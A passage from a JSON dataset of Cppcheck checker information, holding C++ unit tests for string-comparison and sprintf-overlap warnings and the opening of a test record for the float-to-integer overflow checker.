{\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int foo(const std::string& buf)\\n\"\n \"{\\n\"\n \" if (stricmp(buf.c_str(), buf.c_str()) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" == \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" != \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (a+\\\"str\\\" != \\\"str\\\"+b) {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[3] == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal compared with variable 'c[3]'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L\\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use wcscmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const char* c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return foo+\\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c+foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c.foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const std::string& c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(const Foo* c) {\\n\"\n \" return \\\"x\\\" == c->bar();\\n\" // #4314\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString **str=OtherGetter();\\n\"\n \"return *str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString str=OtherGetter2();\\n\"\n \"return &str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '&str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #5734\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // 5639 String literal compared with char buffer in a struct\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // #9726\n check(\"void f(std::vector theArgs) {\\n\"\n \" std::string arg1(*theArgs.begin());\\n\"\n \" if(arg1 == \\\"aaa\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare_char() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == 'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return '\\\\0' != c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c[0]'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return *c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Char literal compared with pointer '*c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo* c) {\\n\"\n \" return 0 == c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char* c) {\\n\"\n \" if(c == '\\\\0') bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Char literal compared with pointer 'a.x.str'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return *a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void snprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" snprintf(buf,100,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \" if (buf[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf4() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" const char* filename = \\\"hello\\\";\\n\"\n \" struct A a;\\n\"\n \" snprintf(a.filename, 128, \\\"%s\\\", filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf5() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct A *a)\\n\"\n \"{\\n\"\n \" snprintf(a->filename, 128, \\\"%s\\\", a->filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:39]: (error) Undefined behavior: Variable 'a->filename' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf6() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)buf,\\\"%s\\\",(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)(void*)buf,\\\"%s\\\",(void*)(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void wsprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wchar_t buf[100];\\n\"\n \" swprintf(buf,10, \\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in swprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void strPlusChar1() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p = \\\"/usr\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Unusual pointer arithmetic. A value of type 'char' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void strPlusChar2() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char ch = 1;\\n\"\n \" const char *p = ch + \\\"/usr\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 1;\\n\"\n \" const char* psz = \\\"Bla\\\";\\n\"\n \" const std::string str = i + psz;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar3() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string temp = \\\"/tmp\\\";\\n\"\n \" std::string path = temp + '/' + \\\"sub\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar4() {\n // Strange looking pointer arithmetic, wide char..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + L'/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n\n check(\"void foo(wchar_t c)\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void incorrectStringCompare() {\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == L\\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal L\\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 5 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 4 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == foo.bar().z[1].substr(i+j*4, 4) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 5 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\" && test) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (test && \\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" while (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test || \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test && \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" || test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" BOOST_ASSERT (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return f2(\\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 warn about char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'b' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:11]: (warning) Conversion of char literal 'c' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:5:11]: (warning) Conversion of char literal 'd' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n , errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0'){}\\n\"\n \" if(L'\\\\0'){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0' || cond){}\\n\"\n \" if(L'\\\\0' || cond){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\", errout_str());\n\n check(\"void f(bool b);\\n\" // #9450\n \"void f(std::string s);\\n\"\n \"void g() {\\n\"\n \" f(\\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Conversion of string literal \\\"abc\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \" void f(std::map>&m) {\\n\"\n \" if (m.count(\\\"abc\\\"))\\n\"\n \" g(m[\\\"abc\\\"][0] ? true : false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b);\\n\"\n \"void f() {\\n\"\n \" g('\\\\0');\\n\"\n \" g('a');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:7]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"#define ERROR(msg) if (msg) printf(\\\"%s\\\\n\\\", msg);\\n\"\n \"void f() {\\n\"\n \"\t ERROR(\\\"abc\\\")\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int, bool);\\n\"\n \"void f() {\\n\"\n \" MyAssert(!\\\"abc\\\");\\n\"\n \" g(2, !\\\"def\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Conversion of string literal \\\"def\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"bool f(const char *p) {\\n\"\n \" if (*p == '\\\\0')\\n\"\n \" return *p == '\\\\0';\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* p, const int* q) {\\n\"\n \" assert((p != NULL && q != NULL) || !\\\"abc\\\");\\n\"\n \" ASSERT((void*)(\\\"def\\\") == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #6109\n \" void check(const char code[], bool validate = true, const char* filename = \\\"test.cpp\\\");\\n\"\n \" void f() {\\n\"\n \" check(\\\"class A;\\\", \\\"test.C\\\");\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:34]: (warning) Conversion of string literal \\\"test.C\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"#define MACRO(C) if(!(C)) { error(__FILE__, __LINE__, __FUNCTION__, #C); return; }\\n\" // #13067\n \"void f() {\\n\"\n \" MACRO(false && \\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define strequ(s1,s2) ((void *)s1 && (void *)s2 && strcmp(s1, s2) == 0)\\n\" // #13093\n \"void f(const char* p) {\\n\"\n \" if (strequ(p, \\\"ALL\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deadStrcmp() {\n check(\"void f(const char *str) {\\n\"\n \" if (strcmp(str, \\\"abc\\\") == 0 || strcmp(str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (warning) The expression 'strcmp(str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"void f(const wchar_t *str) {\\n\"\n \" if (wcscmp(str, L\\\"abc\\\") == 0 || wcscmp(str, L\\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (warning) The expression 'wcscmp(str,L\\\"def\\\") != 0' is suspicious. It overlaps 'wcscmp(str,L\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"struct X {\\n\"\n \" char *str;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(const struct X *x) {\\n\"\n \" if (strcmp(x->str, \\\"abc\\\") == 0 || strcmp(x->str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:43]: (warning) The expression 'strcmp(x->str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(x->str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestString)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkFloatToIntegerOverflow.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkFloatToIntegerOverflow.json new file mode 100644 index 0000000..4550446 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkFloatToIntegerOverflow.json @@ -0,0 +1,22 @@ +{ + "name": "checkFloatToIntegerOverflow", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 34, + "branches": 11, + "apis": 48, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 487 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checktype.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestType : public TestFixture {\npublic:\n TestType() : TestFixture(\"TestType\") {}\n\nprivate:\n\n\n void run() override {\n TEST_CASE(checkTooBigShift_Unix32);\n mNewTemplate = true;\n TEST_CASE(checkIntegerOverflow);\n TEST_CASE(signConversion);\n TEST_CASE(longCastAssign);\n TEST_CASE(longCastReturn);\n TEST_CASE(checkFloatToIntegerOverflow);\n TEST_CASE(integerOverflow); // #11794\n TEST_CASE(shiftTooManyBits); // #11496\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* settings = nullptr;\n Standards::cppstd_t standard = Standards::cppstd_t::CPP11;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code, const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).cpp(options.standard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n const Settings* settings = nullptr;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.settings ? *options.settings : settingsDefault).severity(Severity::warning).severity(Severity::portability).build();\n\n SimpleTokenizer2 tokenizer(settings1, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void checkTooBigShift_Unix32() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix32).build();\n\n // unsigned types getting promoted to int sizeof(int) = 4 bytes\n // and unsigned types having already a size of 4 bytes\n {\n const std::string types[] = {\"unsigned char\", /*[unsigned]*/ \"char\", \"bool\", \"unsigned short\", \"unsigned int\", \"unsigned long\"};\n for (const std::string& type : types) {\n check(type + \" f(\" + type +\" x) { return x << 31; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n check(type + \" f(\" + type +\" x) { return x << 33; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 33 bits is undefined behaviour\\n\", errout_str());\n check(type + \" f(int x) { return (x = (\" + type + \")x << 32); }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\", errout_str());\n check(type + \" foo(\" + type + \" x) { return x << 31; }\", 